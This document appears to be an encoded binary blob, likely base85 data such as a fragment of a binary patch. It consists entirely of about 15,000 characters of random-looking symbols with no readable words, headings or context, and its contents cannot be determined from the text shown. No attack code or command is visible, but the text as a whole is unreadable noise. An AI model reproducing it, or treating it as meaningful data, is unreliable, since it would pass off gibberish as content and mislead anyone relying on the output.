zf)5d(ekDNtHZ(LuO-;?sdKw!4)0K>cnVGtAp#S>yb93{*cP5(a(+^V>ngm(4`+Vsi zap?ZuWCEOcXhudS@vnH^yrQvf8e-r6o*(PaX@wtnnwpyLO2~eT@x3K@rIt9Y{SkiV z;3&;mT6!-k7vsklldDT0C7Rr07f37MrV{lq3lXMyi8jgV7>uV#z}-2BPy3s#w&@C& zQkWH-6m=H2FlchB(dEY(x8d%)0T(X0@vJP=haRwxn=8^tWTV3If%RZi8yxqtzu}RE zbVNik1hjE1c`q`nH_1Ocj8k7ZqOKLZKZ9NPQr*pe$qld`+IXMO0{jq#t2ug=qw!b! zu}=K>2u`CXpP%!p{qSd-XgXI2+*>&Lt~$p1Ft2clmG9)CR7~mGGZaf z+@Im)WJ2DbxZnEg+&`aBhZa0-&SG34>H6{$W)VXEh&lmw-iIu|uy~dzFo-NCX{y79 z13Km9NlN$EN9jtnL=9Ph4BZL($y(xvYkvvjF6WH%uvjJZ(O>52^H`uw?2aS9?3d~H zaZ>yH4hJ6{4w@d2hcr6%`=)Hmz(iW+%z}1BZ&;8#lRXc5*T8myIe3;9a{72iJ&r7; zh$lCSTB6lPH`vXJ%rQvr9B1~Az(BO-P_NehuVnCcQbo~n$hUycBIbM~DBSb2lq&Zv zycpLlYVh)mg2`S?Vo~AvdxuamQ^_7cG7Fql$RQxH5T(vx%nI#f^1^MwDT0;~IBs$~ zmxP*{&FQv$T6J^zb*~1T(nyKLk+%pgY9GJikT#;bdT4*bSz0RMbspgBii-QF9R{E) zWg?*HA(-FioK>Jei2{mX$gQx?Jdc}c+o@a}+bHNbUDI_3f9 zb1gvbFB_+kFeoq+{Um1G=`p7}_b~m)hFvb|;pg}C45mCQFmslutqiOO*DoG#c(@9{ zr!Dg9YAg%g9^-mZFo5iz`9>8)q8dKQV7Dv?)W0{_vp0sp zwGjJO=wpxRG>w?7u#5k_v^;sT54OhlMATEzwY@RXE!K6e(TmbW(}SL~;_)Mlv0@a+ z(wU*>Xfs@2_M0j$c9bb{>uU+f^U}*V=N=#>Hx&!eUhdGXg#hL^hJW9st*zgk(L1#Re zZ6JRL9EzBIlUo={56x`TRI0a{5G*{s4 zjW?+e9dI(NdRck$&eT4uO8*<6$bn%XP2p8+G422l$kzlqMf3FDa#}RIuSWonnD&Jjs#<6KLUNV`k`-IlgsaKdaX9 zg(e)j>)R~Q*J^Q>}X{Dq;R?S z2T6zaK9ng{scS_Z$euioCdn^$KvX5R3AByYMe}4F+DH%I?sIJ53Tv&R*29sb0VNkm z5NwK$`mJ82^0vONN~iAmdQJtCR3v$mn~RG`(DS5NE{P4Pg-g{WA+O0GS7H7I6;+<< zOH7*vdh>@oULhF@^|_Ar?q4CskJ@$RKS*Ptr}96Q8z2FzbTkj{97b00N$!v~HTz_hmZSpiq?^2KUt45q9qI03uDGr$BM^mV03PANu}EcdLzqkS_A zFT@Sj^|tVp7ollg7Z87Wn!i6;)^+R3tU>2XBh>z?NMQzMG!|4}6L`%jC-~z02%(6m zUaC;BamlRh4X_mF24A^dGT6LS0FmCOrPL-_ZLYW~IX%6|_U|fuiKul1AR~=2bf=lT z$#EPPb;r}Vw4aSd^EBxq4ak69zDEN33SkzX$}*&QdEXR7ksJ{;^OD&tMFlFMksYu9 zUoF6Qqp_j|o{HZ(pcolPEGM|Fe@b7R9VAlZ$-8ixR@LC3k{dsacWB#Ka+GuW&-(E6 zyShVIlgl=^vA{OQ53n%*1EE+Meh?@6yxil*d$QqsbF|Rv00vCuu6KIay*xiH)fzoK zKS0?LTjOEeuL_z$W-LKN4y`Ow{31dF|*wW@=-;h@ABGPQ4$w0&`7;GdoUZ((cb_RUg7Jw{*yc! z;XT}Gi?R~HV+?qLxS!dtor+I_{G{}R>4qu$N4ngsRl<{Y(y1gKO++ATOA{ijw^v2m zGN0rhs|yac{|P^*$w*cGZR`RyxF*$Y8}q=Z}i8@F(5Zgukf3MS%mJXHgy%-D*JCUKj{>_zY+xSgG$(Vx}xjtnk~LLhEk(NED`VkT@-Xe%t+??9afqI?(zD-G5rkOJ-HjB5`Kdlf^uiV3{~)bG$)+dPR+$ zfmEDSO@#rpFeH=I7rODRE)FLkn2nuH>8oR(5lVoYN`(J)Q)@*CJXNlBpu8|1(Wc7# zOPJ+NS-v+?Da=88X)!PW?5R@2xKU{enjfbxXZmG{q9AfMH#~6;XARB%**ML}e+iBW z04&V@K+t5-7(o*v!JNg68q#mFQaYH-*~3Ep_;In$Bxnzqk|XF9_zXXI*MfIxI`bQ- z1VSiI@U%?~+C7i=F2*1xuGyY-H40cjoFQ|y(+ODH3R)2PR84hlZCk#bn*jklp)J5U ztaO{KJWA<=Ir7_F4hX-f1>&EaC*u}Z>kU-9EtW+>_Xy;^OWvA(VLfmcMSSpkABVEj zREs93z6esEtwA1{(z+jL@N=q~+P)I$$@7BagOxVoEwe}g%kF7_1VbCDL<`iuM>*G~ zdD9!B5j~9Abmk{R6{i-Y(!sTFg*^1wXUSUhL((aTJt0mMxhENeE z_8Hg873DBzsBlC&O_|fK@X6}%yyS?cPL!TPNGf}CA*EtAxk#QR`}lBsm);wQ0|WDb zyCdg)Ar)vSUMW)IOb(5RFXv`-AietZwj`t_?+?085_+vPqC>M2kTohd#*c`?4u}5| zdtD0?A$>HYxjR(QzOWabvNONz6dm~6euKKQInBP{1@v$AUFy;24Wb#RRZWmMp{od_{Nx|~D*9hWh&$KiTRy~+9;4LBtV-H!=s6l0-ZfkcS4D+qA?K|y1 zl1?$+k0|N?p16+Z#w~q6uyk}4;?-hlS6RNXR5gOPCGXIy>YaVd#oYUNdZze6g~*q^ zEkOLkKqH7vfq0B^RB;uy*s0YZ7iB}nENPjdJ*v~6@1C*H+h-HeOqFjyu4bNJT3il; z9fNsh4b|PEPC++V@4l2@{1Jsq`kanftr+d`6N7G&@_6?DUZN==9Ekv~^$*t$$gOvWPhyQ*47JBohD4=p%;k%GeD!pBUc_&_pw>wZ98FRoOSnY!P@ zjlIDRCTWP*;-n(xh8}#qYV22)vPCs9vv8mrB;gt?e_-?DrIz%7Yd=Rz29e>LN8Gc| zfbe5x5jYxvEU;Lz4}KX^H%h^tXXVSG&$uqm^a8yg06 zdk#<$Di4X!k2yNRBs3Ks4->MWjT2IcV_@cl}t$9l8 z7z}jPR(i=GcU#_r&G66+~}n`>b$$7?*Z_LCzA=n(5nvhu!Zwzby)+@HjT zOhaK#N@4<>)cE3fAY9CN(kL$(`eg*5EWnVeW!=ma(=rI(`|`>&-)mVctmZdf`rTfV z!kX}S>e1FM@|{bBE}&I=EX1Ap0+QbpmpJId&7#LE&El(!Xh>m++Y^-leE zySqIAkuq_%oa0kx|5PdpGWI+iER0Td<~tmUXKZ_$L|@W&%m4`71){a08o5{-D{e06 zf&Xp4A63^mclYIY{u}Sn68YGV@?2V0hJ`LK>~(HP;gZ`Ma3zU5wjLsgSqgKmtwb36 zC=sED4F=WZMNxeD@P%c#^z#FWFkj)kW~QsBOa5;%ZZXMpqOilW8_8{v*UT-EmFc@c zd)KYAx3NZ|1+`%}A>(&}*PmYAoQd(Sd!@3@FSd%+Kbj%SEq=&;(qgfpGhuRCBKr5& zj=Mo6xdUCTGc|R@@Xaq~>fci*H3(y@WN}}~H0vUSL60z@ z-1SZIzDm=xl|^fRUhS5Ft$&0(yRMTJ@KeHRu6IArPAYUrpt7SI{!{J>IsxCmPp?Ny zT8J2U{A8ahxVswyOsmXKyKSqbPRzhoc;|j6Rl&jb^0QNeEMnK8Y+)W@y$s?lP3e}b z#vYWXJ%H`tR4QgUq6DSRn-)A2>T<&cbdCwMdv9H|dFC8<)$5^PMHm`bq-8|NllXM0 z%>lIkXJJkBpc(uGo$KskLceYn@$CYgZ-q-TCvQF|BbFd0dz?&^AYaVjtMG2dV*q{J zSp}QhX1YmYX&odF3cAg{b4?WZKd8ic6?30WWPEMmy%VSS3_wu<=uR||>s?Gu0u*Ew zjZ?9rln$?M^Xn?bAL)3R2HcHx!jtw3uk^mcP8A>0lfrdeRV1j#6mKFS-9J&g%gPiy zFdx`?6&r!~{G8i*HH7fuSlIDO>#zoVk_D|wq_8s>Y9GRF|H+*=PFx4~@pW3I0w}Y0 zG5Y6QQXjE(W>_O7vvT+6tfT3HfNhT3N||@KyiCS!t(Q!nlOL{?j%hmM=P3zsPrK=S zdxhN2fj#5*A0{1iyIEsSzma`*L8^luWOurOGBqMnuAGtT)|wRqJ45Fw#{nc2hK-xR zQ^p6I-r4y_Y^aT#@=1mUueBd0Z&u^Tl2fAi0CJiJaW|4jV>KPi5+i7eHC0xAT!GOR z{%JlNts(sO&+u?B7yadgMC=lq8}W^V$~rS;abgnnYgO2LCE*&nS$6`s-6hb@LKaav zr#?RJZ?@z0Y>o^%AMs7bn7seY%OTqPX5E5jJvU-b77@aZ zpi`@&mJ zyH*{2w1wdAXS8O~19MD@b^+2JttPjv+-W2HLuwIl!r_%?==7D*&VEoODQ@cx;)A)6 zTBqtd);v3?qB5;vclf4SD@e499x5}+y6nFdQIU7Ug}jg4*klu_-jt6dL7)UevKfQi z6=v`VlsRDw1(P((Oeq5z9%Y{)(XLXIsYxdyKctI`*np%P$`89vE}rxiRitgr+cPoI zD)!f~Tf3&cr^GRG6)6wLVj%2zvvpV$8`+WDg8-pve>5K(ltn{8w& zlrdYv3 znQ3XX$1x1@fDuCWmq}=LC1t1+Tgg>{svN}l*RM9vdIY~`J)X;S9i8o zn$l`bI^CbnRstd_EFSh7-0ceyfD%iXj`0|YSW)?k*bi(u8B$mWz2*-B&UAnA*|!fX zYAPZui3K?YY+Hz^wO)8Pz+8T7K$Aqu}xfnv`H~=IdsQjpR1r-2OX$35d0oI|6YMHT<&+TnB_hodR}hhxFl2i+@*zWt zcP`TNB};gDVfO&DgFs&N+sMZ7axND=u^)0$siBlc+e>4lJcIO^H{N6LQ%MPNU^K8d z$rwA!xVWxrVJ!2NBI4`n+gstgh>oWnBIxPO3Qb+JcNVLQAY@|hNu%nO$yC&6GYJ8D zX{*RoHKE_6_WUENqwxV$+3YTCX=QTRsJpvgzfMNHMnPQm%WN!ZsKO>~PMacb`)EP} z-sfA7kN!AO|1FvxZ~Aec^LEJ7uu>V+F{ABJQ~!JAZ&y=sqj*;mA(uh}OGz`foUxUG zPhpLXRD-`Ln(36T#WBk86!n-B3b%r68f2L&0@|B0k>k2aDu*eL4VLjEx3Sz_k>2A} z>|LBAHf%}{cYK=rRV{MKd(q0Uoq3`i!`d42Bd$MydP`r6yI(KW{yp}1=t4*&1=2tA zqWb~|mHf0_uNRx3lPG7Fv*#%v1;@#Wm5Olq89%xGUoD_RKg0Ht5R*GjsPnPNMB`-Q zdf3B~**AQBY&E~Qdpl5iCIi`LBWvgV_AqHwsBw+X^CZvKasCFSS3V;Z9UUDR+19^- z@K+b2uGrSvO2T0wD=Rztimvv(B0-tN7BNY_w#UOcUSs_v0e*a(kY?TTLq2d*#$W-| z^fpA$e9Bn989F}M8OV^z?^4j^7DqCPjG6mnS;h$&Z+AbJtvq^*(d8$45b~hxuzth_ z_|y@2ty%cAc9VDe|0sLQfULS`YgFm(k_PEUy1S%HI;9a1q*Gczx{>bgP627@?w0QE zZ}FaczWeuHf1!`hX2;rV&N;@IW0Kl2^q_qfD|jow7Ww?#O&Ju8!s=l?^~QM`srrSs zqFL1(x^UqgdI-BfvJ)Xc>HEj7?Y{Pvh#{wssCMPgwzLN7 zFXm4pGr5N7J=%ZezG+_UTnUantwl=W!P;`()x8oyzt~VBw}K|?VP*SPD+iqHX=S52Ku1a z#?oF0!A)9Vh}=!50C&i&`c;n#6J{b~fT>Y^*aQ_UvT=tpcE)}>No=0Y*ogInZr)pM z|K5HD_bI0>ptcCuX6jI$CAHXwy|QUrsfm~W@D-1OKx=kvvtx_p3D9&_2*`L)jM38j z0=ULRe~iy?4Lskz>z|*$YdL9WV`rzp7eQ1}r9^_=n@dlL{EDMm}0;sZRXSIpxX;T(FZaDlRHaPq`!W4X{aDA6LWIykB;K#BV@4$ZV zA0NEq~#L@rKv{nJq#qJkrCk7H@j2kdHz$a7W_C_-1Lo&jKRxtIsVNVU+va!g z-q|eFf;N{g3$>QusHdMqPcSSStuo#MP#V+3wiOL8=D;G)hdGwmZ~|+mO9UV1mx4?6 zgogP@1YvJaF1cUS!h%lm)wqgOcLan#k&2eqysUouz}(#JW~30+t~zE|PeMXMIQP)V zWP#$k{FE!-bU!3lJ_*H5daymWBKL3TKG!ywh>P^LRrN9#D`OW-z{+|tKpyR-Hj5~HD%njMHplxYl7R#M!zx@NhJL4ET zau318*Zll^ED6h2BGV{uK)m5=zwOHTz2a*9-a(eGcGc-~^SsKJLlkS7>hq78I|tl~ z7G0zU?UUbQ+XM!gu9su={aWI<;_@RPavVckJi6CzINY!m%7U(Sg+Nh2X6TSwfEtMP@t13aHmdQbuZ>zg_lpH*h=uAz>;ME>DEFEd1A zqteOw&@+9F93!G|f~wnbKDU=YxaaB8)u%RIHNtQ156W30R&R&G07c7_v?qUHdakd5 zoGPNEY}&bNqZ|r@}BgD5A zSbvI3i|{P#K}9qX^{nt5eVz({OUC9ADz}^MiMT(qNAmyWn$vw;0Sy%#CKn21>a{xc#I1q zsWq-@%+3~7tauKi{QO3=3^$jADpqR|d+*h`KyuBc)YsP+tZr!va7&f+)^(5qJ_h)@1i}UkEsj#A>yW=^_%ga6wM_g5!NCL*W$_nZHdxwWh`SJvQ>~A9> z#9oCEkj+ZoFHbjqeh^$-4GR;Iq9EKF)^BWVNV>Gf#l<~><6SW^eQb5SoL%l9Zi}N+ zN%>f?a{F*&;BvC^^sxF7^@lB?fIDqic^xC~*@+Dz)z7q=qnID9_Wwy`M8l&K60UF0 zK6CyOF#C(=^e=c`lOZ8xmQI6~k`nrp_QPiO+%k!RCceXaM*1_)(?95#Tb-axXg2xt zgGZ$AIZVFQ{>!3hBTsV~4yCDZY*Aq&19t0Z_cA?=}xKM1&ADt$9S{W}A)E!6^r z&TvW89}4pFPG7$&Jtfgx-*gnAHXNsrdhj1ij1$O7^Hh<^atRP#9Lz&6Cs#M^&Kd0d zg`YEd845jiDuc6S>|yVmK8m!64hNLVLxv%HWbIhlph8R7MU8Lq=*M*MA+Eq0V%k-Hqt9#nE_{*=4NhvWU{Ghe$QL9>qxLn_nD1N zO`*ef4-U9^--zt*&sG>PqN-q}xo+z3LurW`-w^TXY8z-hw3xV#1utWd`#C%q_5}Nk z!t-#owCEfiWKBLVJ{_#y5XUTwWDC}C!9xb14-cLH{_*I8Vbo$xl~0M+R&Pn%s}$eeUZ+MQoBAM<)ttrQmq;iB0iDZBY}zaj zcmJ?aWHZTIaP<6jY_2Zx4-$+7MX0i1?T-Xxw|vVK5e^gGNSdRL;J+e}iyAl?fp6ahv;t%?tWu0545*37c3Sc@?>tL*|hoDH;#=^|m2et%>w57!}&wi%UByhzhI z*88*Xi?F`~MU#8oDdrC}E8j0)zGPA(@^(!bK$+P(?j#!LIq}nlam9(aZ?eI8VFWKk)Nb!W2&P7= zZ2YY2gt488vRr-9V$!@V*9^=fK0W#0_6rRp&ql|kA3Q!a1@Z?=QE&U=yjFd;=ITF( zRQF0$`9Qsx^IBx;L4M>`d+=SB=<|C?upv%!7j(V3V}N%H{HhE68cXr&>+74Fn-iJz z@cEoe!Is;0fs2Eq-|C8v)DsGNL_tbeSXv+uuVd)W3qNQ{DU=-zm6o0To|jGZWOwCaCyQo* zWm>uSWxG1H%jW!HU`@@S$zuDpvWV9IXvW1b!;JV+HC#Kf3pnSzhig;WPn{)X4)jH{ zQosl?IhZK}DJ@9+(^)@Dwq3k{#E;8vC7_~6(wr0}n9b+;(Y-5yhT}RbX?ea(5*0Ts zK1FhFB!8m2$-B;=#aiS>lF*Tf?{s-3d3iUd&XB$uZqawyG1#N%|HcMZJfz;Of!Ofy z@X-vRjHoE3o4--9fI$@k&1$<4*1Gq;&_+&Ii781aw#&T51!199g<^W}v0yI<2EI1UU)>2Q3G!Ko=nz|X>>5GuL-;FIGA>GiCE&(nuG z5*Fh>aD{KsQB+ivlk;SFj}cO9>S$7HGW8|A$GFaB5hoks`7D?`vrO>k>}|0BLsjH{LP8uLfo7E?#_NW8_Ifo6IM+(cBOwy-J|a!*rKs+zuu zO2qfobGAv|;5HYbb|FuB5Sqfd6M@7og+eUF?`cl{KrqHYAiqE-%nYL9MJ|}C@GZeD zmw#a=wtMnNY?3@7Yo4t zjzY-&^>j@n9`)*A)^5JqG3wr z(Iow(G$;OwTypjM>DZ_Ti^|J+2Jcbg+#uyq-!c5EAh**_>3BJP*N4<)U{$JGp{ zw!Z7av3B!Wxho-R0qpJZ9`BI1xa3q+FzrGI*_T-%C~<3t=S8Y6%Z2=^d6ui+$Hqn< zSobtF%?%lh)b#WM1&kH{IA1fjd+U6Dcl||X!8qh1brb#IfkUxk`M~_&-()11O|Zz- z<&rsV@Ewz9ueC(Wq&z)6fqfgGornMa1)hZ*d5OG8f{ctu9ooNf-?_c3(h07&en07P zCs8L1Qe-BL5h-1-$7MC_<_GJ2So1;rx%&iD@*87<;o|GreEhZ8m* zNlj)k@_S@jx&<%96i@Kn0h1s(#ZPLrC%iNy)ZSB>w%uD6pO;D#?HItrKLB`uIS1|s4jARu_(Z6^X;Yo)^{BNJzh<9=ykz=-W365(G_V;7bX zoyGWZl7{CV?NnE*8ni{S91+`Zm*nVZbW5noCgH%m-#O8>5?q& zV}YeZvQiepCDXRg5Ithq?3O+WPg00Re3@xHB*=oUds96JMYROc`VZkpg8gYStVF5v z`4k*s^{Il{eD6x>)pXi5AVR2?Hm;*3XkG0*)r}0 zqe&@}%w$QYe=TfqRP2gG2+3`G4052|^QPcUIsPyz#+!!I+b1sBgQ;OhVmCXehcX38=jpCt9UqsW^n&x@g;$V{(5&tZ^wdaF>7`1_-CyF z4&#d3R{w}ZJESLW8a7%`QB51I41c42_lOt4Q$srDYzy>xZ%xEK^Mb?HVRU%dY$|5W zgFK<`(CNPd+}XdELK62854$;?*AoZbXlh(;L~yk+myk3X%*^{E)2{RJQEplE|Aw^* z3Ev-SXQ~=!2M`MqGw||wu0%bnat0c-;kP?~d?5=XHz9&>^xWM@t}z?YuA=_HOIDCu z&Ep;SGF2pU#vYcfn(coRaIul&4?-y>W8pn=Su;mUgU8uMl z)RQ$n&Tm31>7fAwOvUvA!!3Obu#B^M|fr>A%_uWB%W4&~771KJXC4U$U?Mg7KzfEB= z5?yU)cDxpbmcA>muV*)ukdo@=T5wtQf`tz$l=0l$EhmU?SeEXv7pO*I(*H&`WTT)t zH%J^puzIuD>@*(KZge2DP%B`c{=)oR6Vde(sUeao)WR&X=@%FEh|Y7%OQ~vr(W=Xa z=3bs6w?B>o30BM164T3p?Pn=RE_u09J4_lE3x21nm-63QJ8R`nnSme-#2W}`U~{V0 zj`}Q|h&K;L{`>iR^Y{L&d$uCw;CKn5mIsG-d%UsXy0m#xU*Jh^l##bBz3Ud8GH=QFk$O#B4PwU1Jt7y29d0s&7NCEs@>co@lNc_r>u9k7 z6_4fnK&hQ0%eT{ii#)%q6*35(U2V7JM+WRCtysOM=Q#+;ZW`;`EIw9Z+MEfF)S;D@kEh{K zxVq)1+q@XmBJ3q9PVupuS~~KZVhBC@o~UUV9~v5(smd)N(6$gF*7x(Bs#EOt{$$`v zx9q!khh4ghC;70l>%Y8?9P{zw1>EeYrt zgh;y{*4KyFc9VMct?Vg>N+IOaa!PQp9W(r)%;Rq1*M&tkO7;&c-5kxm-T~F;j&(8e zncRe-IH9*^%CxDQ$Kk4hE_^fMn zDmL?c`^SEd@bxMy35AKn54*?SzECiHZ*66*yM`vhKkUAS7i|i^Q-5or&ia4wveM0; zR}82bOnzghViYU(3kax8SKbu@9w=#w=KQ$ScG)0MKI1;V66%+-s|lM^0we89H@X< zZE-mP$fDixQj>gwH=6s^8W;Pa1h4a<=IE8XChbN8tlA(R<^U-Wk$dYZVrY?mI z4UdS#`xFZPLS#OMG zJ%^>ofTwYfjkw2^-N1B-M%FcCnhlyioIAXgH|gr*D5GOm9-P)h4M%2zf`3NuzeYSd z(L#8oPvPweUt=4nY$As!!&P1qF88OyGH2Dp9+y-Y%ISkhayuR3n*gcG91TPvUrcVqWj&7h~ONC0fY2r*CjomK>QT#Q^YA^58QeP~dvX=kq z7U4(!!woVR_E_k>^g@Nikn}6Uq~J?s%l_I7R6YC+|p$sX02YffEUAPbrfL zJu#6!hWi+1kOVxsI{vD=P`EYo0%<}R#Vp%yfG7Vb((9#!*49=BmzRY3UZp*@z&oaw zq(7^!7aLSRPjcuAOpYX~6K4qTptWU{Bf0TVD{8t56w!?KXGX?m1wOjPCHyIng^T?_ zOVb#qz^h5aAt$>5P3b1SDB5u8$F8@Bd{IrfIwCBz9ymQ~fr){arkj5>m?alyKsO&s zA*qIoSW58Uqt3u-c&T4Yax~hK%Ejf+N0yKIGdq-NqKXx*#9ymA5P12ai=DXNcTj#H zufO(XnXa7Sh^6rEWKo19K|HGEyutjPoB%o90N01-XFY+t&6vk7vET_mwptjZD&iQX zxx}|u=`lht3O@W}Mj;!}O3PF-?Fo;rFOC0;1qdEQTwl^IK}S$Lr?aGgAllE3#T|V) z)O_obxru_P2O|QO!kBgbHnJZlC!t}9yaPf-0d87{7%tmosS{oKDrO%d!tswEb!E}? z66yK;%Z?>;e>y!!%@w42e>pMdxjdzP3oidcYM{1~Q?R{HX0wE}eS>%-GZ}e&%NntI z{bB!w)0|fdkxqD1YJqVtw_;bmBu`#%R-so{#er5ohWhX7oy&DG8_(IDsS9SPgCic~ zBI|$Lw`fI90`7N5r{+eL-dyett7CZIPd9>xlxa?(Z0FZ{jMAhF0=(~%qN;!1c9~?e zRYtm@Cg|&ET%0K^^za0_1e%`1EHr+7^jf%eE+?c(OTIi5mJEDYZ3cqdJfmg`^Ab=B|ByRWb7tP0{% zpml>ii^DV-yiDK#5~Klc4)L;_p7cOqE=Cti)U^*fBMdZUYAC-pr$bY%oV%EmtbvAX zd#hmHm8elr)=n3xOU3z3LE?1##KK~3Vb;-QD0G)oq9r2kg-q)C4>m1ogxY3D&g#xH zq1WefP((Syg2#~KTYWZULzwKPxj;pjUlGo}gtv&_g5M2e{f+OP%Pei=E#JkC$HwH& zhladQwf5{sLn=?YrF!$LitHx}6rECRqliP+TINJH`_0Yx4)C;8_evxwOT)kM%w~;{ zED9o@4E|dL#S+dNyZcub1r>^p_l~SF#HM*ALY2Ra2(qVprYplsce^U9Pf2bD+l)CP;vmzR)gQ~H&W8W+C@F#`ve;9yZHUMs+8=&m~> zCrRe6T*iDcCylT&{v`=mRUC0Tp0lJ)nuT8t9x^*9Dth3`)y+frw;AEfOB&RXZgLX%*NfFSELZS zzrVk-s!G{h;c+P&NAwA`494hEslW`J*Kl$* z2oaSfc->Csv|a!WwtKU->L-M}g5eKS)05*}E68dD|8F=bgpbpR@*(+0ExKHZ4p zfH3&%p%#@od3!~Ei7z8BA083meZB=R!Z=XEkCdKO(lgexd8&M%qOCB}8?p(F;lb9{ zNhBxF;l3P?q&%=oLhL0laj)l+&wEiIK>utwx>=>C#YeReD_N8i2rT?uCc>`e?3L1! zm}yZ#SA$XM;*6g?Pm$qhPr)(~QeRsSd10RW{pDV{UdvWPTWjn6%}K>0&EYICUwfE0 z&xq!N%NSj)H0r)t^-3Q{Haq-tdY;SQ+ zpwxWKqGjNq>K{ipVb|V7F`gN@w(OWtN29Yp>1LIkxESZKjd++-eoyB^%pf^0<00Bm zR#CyQWCGCRVu#O*qR^9g3Woe7KXGJhEue3m4rYKrWngNG9k9FL3sG1nOHJR77V5wS zU|bd(jY5bHgC0Rafuxiq2_LpzDreII13^bH?m>D_-~>{^C(zq{p6(myKqj1EP>NJ~QX{a4XKE@LS%9IvlP8$gGs7K8y6Lr^rq?Z6zX5Pc=^ zbVDPgss=&%&R#ir5LxMqSoxPcJ|>ePokGbb=&x*bUuQcMRUOnF?Viq8Cl%Wm$)0{6 zeQpSx^pW=^sAmxHZ4}>rETpWgtUSHB0Wz@HZb9trjDy*Vlewx*pbs1TmJlB=At@=k zzV$bm4I8_9^sDkXs19XiWkFr}^>D80+`*Dv2uK-2FsZlLgr~m016PlOkB@M%wX;Ld zg@=oK1JpKv5$QOG2I)TPbpGMtVPPT7T^(O>nezAo;Nv~754E=Q4Mi*v@BoFNXvm)qmtFs2etK~vfl+6sTn}*%*0$R(!{?c2X?G%Ts3#0JP?Suh z0v`-Tv7%CjcY6__(_|00SYNbRD_5jey)AHc95zS>13a{o_d`PmHG`V_1nudV7=u?R zX~Knlw~m}8zlz-*|7@R-#CeQ%zD)oIL9UN#6U*ZkC98-}N^D}P3O%8Gn#!w>!(40= zd5(2Vj81wkbeP)Tr3xNXTWxEH!AO{z2OS0yTlH^{nXyb_G)L>zM*E#NZIzW+=SoxL zxSDC_+Eg!>nkx`X&s)O#_UZkB-E(-IvtarF+mv#8Y@&XxA)1bNOL+81f3bJ-x~-h_ z=LlxyAELvS02LprnFPQlbH^h_whZVT*q$sFE&!8TH9>%WQ+4fuBAtNQpTx?~+!5)X_@NkueXg3pT)C;-oU`_QMyQ z?3b!b_4j4#S%<9?QG2?!zXrc%dg2y;i1J1mwS;xs^`;Wwzg;iVjLseglMAA}y;JtN zmxk3e)n=G!(kJ43qaoQA=$e0%Vu-vcwt+O1IL~*tNA{=Y=Kq_3^vFa;$J(L&M&)}j zFk0sxFsg;cbZ=?p>eKku8F0prD#E&_Wn{YCA2;#5uJfIJ2hKxEzE?%TzI9~CUd@ooa>>*>K5inWX_Ox zAP$Klsno(xQ$Y$aN(+7cWtzD;y^?g3TUZ~i(exHuUC+v&FJ<2XQv*fJK#HEPBDY?W zNoX)wQqn1U#))*Yb+YqPv=scQ$AD3QgogxDYx~WA!@tnrwkF90 zgex$oyff7x_h9pdEuo5;qrBHRrwmI=OC7#_TX*j8e%jiD6&{L;B{dSp@H@@Y34n@{@mTMx$nZJG-UI_KQzsA82G2x03d0MCJ@q)8&iz<{{QvKmF_ ze6xYLMchww+E8x}%d8A;y%wUrdXL@@$Izq5$ViP5$uS;jZB_vN0CT{?JY_726kOn_ z!~UI_DeXe%qmTI}m{ny>A9d*z3(nZJLBiYg18lfJ+N@4XIUB^k6Th~oS=Y38}OY*r5Y;A$s8Nl;Yjr;p2;PC2ZI#C~SXar%C>s!f`OED5Rd=v_MK$ z7)P@jADOF6jI64w%V38vLyjT9Y~F>xT_vdnZfA_YZIM+;;Y=K1oDB}MKEL-RIC8%`SU%n3Hpt2_k5`{ z9sUF{K|vvLOL)CMU6Ra(hTBWUFpI1 zX~-N_B?t4OA$2&^O;<@uHGJ{Am1JYGsF}7mJ5i{5hyF;>r{}km?hWvd^q5`7GL}8T zb`8-P5NmjfQ0t{_l>V8CFeE~^XzndZ0liy=Y(5`9BIIU75b+fQ8~87e2#(U7-bA)S zAgQ!3<;MDwdGL`n^xa1)D^5HDf`@~OjzPN$gO2BAm(@T5kZ=Un_4i>VCM3W>LD6W~ zk zK6mp6vrBF~1G2Nk???CF-y$ohFj6G$!*5+VCr&)}N;KV1b&JGkt#wzDm&cLYKzOf{QV_p4O zh0GrhpA6%^>duW%Dd3gGg@!Tu@5~v*ATDIy^XJCr!xInV#Pq7se=d z8KG88pYq`6yrg$?bp?I18XAQ<3_A5+_9pVgf>Gj8_tLoSjh&r2mv)z$E`GjaBSrh| z7$Oc~ihB1W*g_2iK5GVfDfe^dj{HO0OxgEAT@3#H8*prL zwey+-orq_{a}FIBuWCWQ3@`6Yj?J4qZ-}U@c~jY#=dX^{ycdkBqdIXd&d)%U{=eRV zm5uxy4UPWs&4Js!Hs7m(%_g@m)P2)_<9D4_;h0zhgl+O&EH*PkBJGQ*M`2>1=COZb z23|imC#%7SDrFiat*wthNYBK?bZ#Zpme~klxdt*^I+DO;Op~1JqeTKdyr~(#6l(^0 zdVl1gzqxaUaLyTC*IIQs+Xwj$di%BC9N8F)oSn`W*t%VL!dI2G*aNR%G{YHplVPfEB z`AKcW@(v?9fJMLzn&I7`I&1#-e|>#D-^6o$Ekr(g>LP^YXFV35+iU;Xk+pag4QFww z4{m)j&Im5SJuFv?g6K;2u3P zkvvy(@B-b)0f{;ND}P+1It~>zA}xLSmna(cKe*MUjm%%B}IGDB6{1*1y z{+p~*cEuG9wU^{ufq@e6d~$kxK8~=VqhX=um3R}fj1K&`!eu``qFmev5tA@uA#{lv z|4{tBG7l)%V^>2%O^cs>o}V-|k&ZZgP9W?O*r#t{B}%Hux{{(&}e#5n%|20Fbysi6pULP^0RMH7RDorZ$k$EQUyIpuLIMr7fi zDD9I$?#8RQR=L&HAF`BaaKczGYtc?6qUG3qSO%$cElw+lvW@La^!3XrDCs^>NkHkT`^CAw z&7z@?)YrwpeTUO2tME@EAmB{=T!I!SSVH_PTDh`32^awitJtYRWhI^-&a?Rnf8Q(E z_P>E!p>^#5*N8m5K_|>GI$z^O+0rfMU*07E)7Nc&t!B5UL~uN&RkP{u5)6CMl@}YV zkOSB8Zv)Ha@)4Rm$wpBr*U?QQ1A1jeSJPSh5Fho_axhfgj#hHo zvyOpY4|m-`3)vE(PMq=1xKKhuqS6hDqlFhnBse%Y1B6mmR#qOKCY!~25IY0~1z(+g zIe&qjCMEIu3s1_uaUq-~p*~U_LQgSev=YNr`C*||yLLi+c^G>oZ2-O`h1Dr7pYr7T z#a$RKbGzr=Iq3X(06X0N-X1nCF5tROF8&P@05M?0s<*YRZF!Ow15StYTQJF$nSTK@ zi%LUVTU%38THj?u=K%r|brrXS&&PQxG+O@zT3^}2SCWI$+tFdQyDqh|6JCXuZ0xx&JOb?5gMv`gGj<&uyp zgbKP*?T6$>Xi+F;qa5;i((5<}8_gGeE{L$xvRW$~;7y6)=LS-xXjo)8;gU~fejPr~ 